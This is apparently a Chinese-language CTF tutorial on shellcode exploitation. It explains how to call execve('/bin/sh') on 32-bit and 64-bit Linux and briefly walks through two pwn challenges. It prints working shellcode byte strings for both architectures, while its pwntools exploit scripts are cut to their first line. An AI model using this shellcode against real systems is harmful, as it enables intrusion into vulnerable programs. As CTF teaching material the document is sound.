Shellcode利用原理及方法
什么是 Shellcode?
shellcode 是指一段用于完成某个功能的代码,常见的功能主要是获取目标系统的 shell
运用 shellcode 的前提是程序没有开启 NX 防护,32 位和 64 位程序也有不同的编写方法。
编写 shellcode 的好处是:不需要题目给出后门函数地址就可以获取 shell
32 位 shellcode
**int 80 中断调用 **32位程序通过不同的内核态操作通过给寄存器设置不同的值,再调用 int 80 就可以通知内核完成不同的功能,这就是我们编写 shellcode 的关键点。只要我们通过特定的汇编代码把特定的寄存器设置为特定的值后,再调用 int 80,执行系统函数 execve(“/bin/sh”,NULL,NULL)就可以获取系统 shell。
**32 位系统 shellcode 的编写方法:**1. 将 EAX 寄存器的值设置为 0xb;
2. 将 EBX 的寄存器设置为"/bin/sh"字符串的地址;
3. 将 ECX 和 EDX 寄存器的值都设置为 0;<font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">python</font>
EAX = 0xb;EBX = &(“/bin/sh\x00”);ECX = EDX = 0
1 | shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" |
1 | xor ecx,ecx/xor edx,edx/xor eax,eax 将 ecx、edx、eax 清零(利用异或自身的特性,是汇编中高效清零的方式)。 |
64 位 shellcode
64 位程序编写 shellcode 就和 32 位有所不同了,在 64 位程序中我们通过 syscall 调用函数
**64 位 shellcode 的编写方法:**1. 将 RAX 寄存器的值设置为 0x3b;
2. 将 RDI 寄存器的值设置为"/bin/sh"字符串的地址;
3. 将 RSI 和 RDX 寄存器的值都设置为 0;
RAX = 0x3b;RDI = &(“/bin/sh”);RSI = RDX = 0python
1 | shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05" |
1 | xor rdx, rdx; ○ 把寄存器rdx清零,对应系统调用execve的第三个参数(环境变量数组,设为NULL)。 |
x32)BUU-picoctf_2018_shellcode


32 位程序什么也没有开,可以考虑 shellcode,用 IDA 看一下反汇编,发现 main 函数处并不能被反汇编。
查看 IDA 的 .text 段发现在执行最后一句话之前调用了 vuln 函数,进一步查看 vuln 函数,发现 gets 我们输入的字符串,之后返回到 puts 函数当中,细心发现后面又调用了 puts 函数,我们就可以编写 shellcode 进行调用。
1 | int __cdecl vuln(int a1) |
1 | from pwn import * |
看了一看别的师傅的 exp,也可以使用 pwntools 工具去自动编写,两种方法是一样的。
1 | from pwn import * |
x64)RDCTF-pwn!!!(格式化字符串+64shellcode)
IDA 看一下,就是输入小于等于 10 的数,然后的话就是 buf 好像有个栈溢出,而且给你了 buf 的地址,自己大小 nbyte 由自己输入的 n10 决定,显然 10 个字节是不可能栈溢出的,想办法通过整数溢出造成 buf 的栈溢出
1 | ssize_t vuln() |
1 | from pwn import * |
更新: 2026-01-21 00:26:55
原文: https://www.yuque.com/idcm/wnemg9/scirvmqno3f978ib